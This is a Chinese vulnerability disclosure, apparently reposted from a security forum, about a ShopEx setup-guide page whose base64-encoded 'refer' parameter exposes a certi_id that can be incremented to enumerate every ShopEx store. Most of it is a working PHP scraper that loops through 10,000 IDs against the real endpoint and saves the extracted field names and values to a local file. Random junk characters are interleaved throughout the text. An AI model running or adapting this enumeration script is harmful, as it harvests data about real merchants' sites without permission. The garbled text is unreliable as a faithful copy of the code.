|
简要描述:) T6 a* s3 T: F! s# ~' G
ShopEx某接口缺陷,可遍历所有网站
$ V3 ? e, l" V5 Q: p/ ]详细说明:& v) L* g. V3 f) J; |- W- J* s
问题出现在shopex 网店使用向导页面
1 g. d0 Q+ d: A2 j6 c# K) A @8 e& X3 R* g6 [8 Z6 y' l9 K
! x/ E, ^4 s8 W& y
: h' Z% d* ]% u& B( T: b T4 dhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=" T7 P5 ~. e3 Q) A/ Z8 O: \
% @4 `8 J- f( M9 G$ v6 i$ w
% L7 w% K4 @; `. k2 d8 l0 F
) z3 \) a- V1 g, Drefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}9 u+ h) | |: [' D
1 k9 c8 P0 O+ ?/ r9 {, m) {" I# v; n2 S1 w8 i4 v
4 M9 @; r) N# w/ c9 d; D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
5 r9 h9 ~9 {' r5 V) p" |9 H3 ~
2 l, S, o+ u i+ y6 d2 w4 J# \ J9 O# O9 I: s) D4 [
: [- S4 P0 `; Y3 x3 d- v' {<?php
8 g5 f- `/ U- t1 } F. F/ s1 h* |
8 o6 o. f1 D1 o% }5 \ for ($i=1; $i < 10000; $i++) { //遍历
" x* P! R6 W5 k8 a% A# J1 a+ b! N6 J, S# t0 a9 D" u! G
ShowshopExD($i);
5 _% Z5 D7 i4 k9 q( a, Y) }2 t( C5 c" [0 {
}
F) u( ~ v$ }% X8 \4 n/ T% U8 @! s. w0 k9 t- h' j. [
function ShowshopExD($cid) {
7 ^9 }8 B- f9 B* w4 [" q# m( A$ [. m% G
$url='http://guide.ecos.shopex.cn/step2.php';
6 R& A7 K. D, ^3 O, A
7 _% ?$ k6 z5 n2 X$ ?3 b $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 U# t7 h$ g# L7 f# F
! |3 N# u( p3 S1 q5 ?# T8 K $url = $url.'?refer='.$refer;
2 I6 p( E1 F8 t9 B9 w" t. P- e: e6 G, v. |
$ch = curl_init($url);
$ h4 e7 a/ z8 M+ g
_2 @4 b" w7 V& h* f curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
7 I$ R$ L( w" p
- g5 b) Z3 @8 y8 j/ }- S curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;. m. v# b7 G! a5 w6 i* r9 m
o# x& B# R: q6 r' S$ b
$result = curl_exec($ch);; m/ g* U8 x2 K0 a6 e* C
' p( ~) T" _ l1 i% F j$ y
$result = mb_convert_encoding($result, "gb2312", "UTF-8");. C4 N5 W# F4 C) h3 n% ~8 u
2 G( g, i4 g) m# p- C$ `) J8 ~9 y
if(strpos($result,$refer))
+ u; i: ^' r' ?) \6 |) f: q: D; w' D2 S
{% S. b0 u& P: x3 t9 y/ [' Q0 C
# Q/ B- ~% \3 h $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
+ B- r ]; X2 h( n% a: k4 a2 H# s: x( f
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
3 A5 I/ T& A" y6 ~" A. G5 s( j% q a
# e$ i: [* z1 G foreach ($value[1] as $key) {6 [0 \9 E# P; w6 T5 K
4 F. @9 T0 |( n* r7 q, x! @2 b preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);1 C. I9 G+ T+ F2 Q3 `
8 T& a- F, l' f' o- t1 Q5 w1 t
echo $res[1][0].':'.$res[3][0]."\r\n";' `2 { j: s# P `
9 m+ G0 {( D) T3 m+ s $col =$res[1][0].':'.$res[3][0]."\r\n"; 4 c6 h# h$ |( \4 ]: t4 v* T
3 `: |9 R% ^. t( ~" C/ y' s fwrite($fp, $col, strlen($col)); * W0 D, e: H' ?; L- d7 i
- m- [5 B4 O. |2 E) C
}: q& ]( U/ x# n" V0 q) d; A v- A- \
6 C1 i! m8 Q, E; f4 `
echo '--------------------------------'."\r\n";
/ Z c3 ]4 V/ Y3 X5 l+ u2 x- P, \7 M! T
* S7 `* x( H3 G fclose($fp);
) U' x( `9 W7 Z" k' r: r& |- ]' I5 E5 J ?' k, E
}
9 X" M5 y, Y# V
/ n d! {! _" r& |4 S0 s Q flush();
3 L$ }" f' W3 Q3 J& c0 O9 _1 u! M
curl_close($ch);
- l0 G V9 g+ K4 M; m
4 P: [1 F1 U. L9 N k" F( J }
3 ?( m% m: H* B; |' H" ^5 C: [! a/ h+ L! G
?>3 z/ q+ v( ^2 ^5 h3 M; _; c+ K% g
漏洞证明:
/ P R* ^+ a1 Jhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg3 `5 k6 ^' Q5 @* |
refer换成其他加密方式
! K G8 b* t; w- L+ m% B3 a U; h$ G |
|